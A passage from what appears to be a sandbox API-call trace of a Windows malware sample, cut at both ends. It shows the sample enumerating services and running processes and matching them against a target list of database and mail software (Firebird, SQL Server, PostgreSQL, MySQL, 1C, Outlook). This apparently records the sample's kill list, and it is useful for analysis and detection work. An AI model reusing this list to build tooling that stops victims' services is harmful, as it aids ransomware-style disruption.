lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0129.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0129.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0129.960] lstrlenW (lpString="Dnscache") returned 8 [0129.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0129.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0129.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0129.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0129.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0129.960] lstrlenW (lpString="DPS") returned 3 [0129.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0129.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0129.960] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0129.960] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0129.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0129.960] lstrlenW (lpString="eventlog") returned 8 [0129.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0129.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0129.960] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0129.960] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0129.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0129.960] lstrlenW (lpString="EventSystem") returned 11 [0129.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0129.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0129.961] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0129.961] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0129.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0129.961] lstrlenW (lpString="gpsvc") returned 5 [0129.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0129.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0129.961] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0129.961] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0129.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0129.961] lstrlenW (lpString="LanmanWorkstation") returned 17 [0129.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0129.961] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0129.961] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0129.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0129.961] lstrlenW (lpString="lmhosts") returned 7 [0129.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0129.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0129.961] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0129.961] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0129.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0129.961] lstrlenW (lpString="MMCSS") returned 5 [0129.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0129.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0129.962] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0129.962] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0129.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0129.962] lstrlenW (lpString="MpsSvc") returned 6 [0129.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0129.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0129.962] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0129.962] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0129.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0129.962] lstrlenW (lpString="nsi") returned 3 [0129.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0129.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0129.962] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0129.962] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0129.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0129.962] lstrlenW (lpString="PlugPlay") returned 8 [0129.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0129.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0129.962] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0129.962] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0129.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0129.962] lstrlenW (lpString="Power") returned 5 [0129.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0129.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0129.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0129.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0129.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0129.963] lstrlenW (lpString="ProfSvc") returned 7 [0129.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0129.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0129.963] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0129.963] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0129.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0129.963] lstrlenW (lpString="RpcEptMapper") returned 12 [0129.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.963] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0129.963] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0129.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0129.963] lstrlenW (lpString="RpcSs") returned 5 [0129.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0129.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0129.963] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0129.963] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0129.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0129.963] lstrlenW (lpString="SamSs") returned 5 [0129.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0129.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0129.963] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0129.963] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0129.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0129.963] lstrlenW (lpString="Schedule") returned 8 [0129.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0129.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0129.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0129.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0129.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0129.964] lstrlenW (lpString="SENS") returned 4 [0129.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0129.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0129.964] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0129.964] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0129.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0129.964] lstrlenW (lpString="ShellHWDetection") returned 16 [0129.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.964] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0129.964] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0129.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0129.964] lstrlenW (lpString="Spooler") returned 7 [0129.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0129.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0129.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0129.964] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0129.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0129.964] lstrlenW (lpString="Themes") returned 6 [0129.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0129.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0129.964] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0129.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0129.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0129.965] lstrlenW (lpString="UxSms") returned 5 [0129.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0129.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0129.965] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0129.965] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0129.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0129.965] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x36e7e8 | out: hHeap=0x300000) returned 1 [0129.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0129.967] Process32FirstW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.968] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.968] lstrlenW (lpString="System") returned 6 [0129.968] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0129.968] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0129.968] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0129.968] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0129.968] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0129.968] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0129.968] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0129.968] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.969] lstrlenW (lpString="smss.exe") returned 8 [0129.969] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0129.969] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0129.969] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0129.969] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0129.969] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0129.969] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0129.969] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0129.969] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.970] lstrlenW (lpString="csrss.exe") returned 9 [0129.970] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0129.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0129.970] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0129.970] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0129.970] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0129.970] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0129.970] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0129.970] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.970] lstrlenW (lpString="wininit.exe") returned 11 [0129.970] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0129.970] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0129.970] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0129.970] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0129.970] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0129.970] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0129.970] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0129.970] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.971] lstrlenW (lpString="csrss.exe") returned 9 [0129.971] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0129.971] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0129.971] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0129.971] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0129.971] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0129.971] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0129.971] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0129.971] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.972] lstrlenW (lpString="winlogon.exe") returned 12 [0129.972] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0129.972] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0129.972] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0129.972] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0129.972] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0129.972] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0129.972] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0129.972] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.972] lstrlenW (lpString="services.exe") returned 12 [0129.972] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0129.972] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0129.972] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0129.972] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0129.972] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0129.972] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0129.972] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0129.972] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.973] lstrlenW (lpString="lsass.exe") returned 9 [0129.973] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0129.973] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0129.973] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0129.973] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0129.973] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0129.973] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0129.973] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0129.973] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0129.973] lstrlenW (lpString="lsm.exe") returned 7 [0129.974] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0129.974] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0129.974] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0129.974] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0129.974] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0129.974] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0129.974] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0129.974] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.974] lstrlenW (lpString="svchost.exe") returned 11 [0129.974] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.974] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.974] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.974] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.974] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.974] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.974] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.974] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.975] lstrlenW (lpString="svchost.exe") returned 11 [0129.975] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.975] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.975] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.975] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.975] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.975] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.975] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.975] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.976] lstrlenW (lpString="svchost.exe") returned 11 [0129.976] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.976] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.976] lstrlenW (lpString="svchost.exe") returned 11 [0129.976] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.976] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.977] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.977] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.977] lstrlenW (lpString="svchost.exe") returned 11 [0129.977] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0129.977] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0129.977] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0129.977] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0129.977] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0129.977] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0129.977] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0129.977] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.978] lstrlenW (lpString="audiodg.exe") returned 11 [0129.978] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0129.978] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0129.978] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0129.978] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0129.978] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0129.978] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0129.978] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.978] lstrlenW (lpString="svchost.exe") returned 11 [0129.978] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.979] lstrlenW (lpString="svchost.exe") returned 11 [0129.979] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.979] lstrlenW (lpString="spoolsv.exe") returned 11 [0129.979] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0129.980] lstrlenW (lpString="taskhost.exe") returned 12 [0129.980] Process32NextW (in: hSnapshot=0x12c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 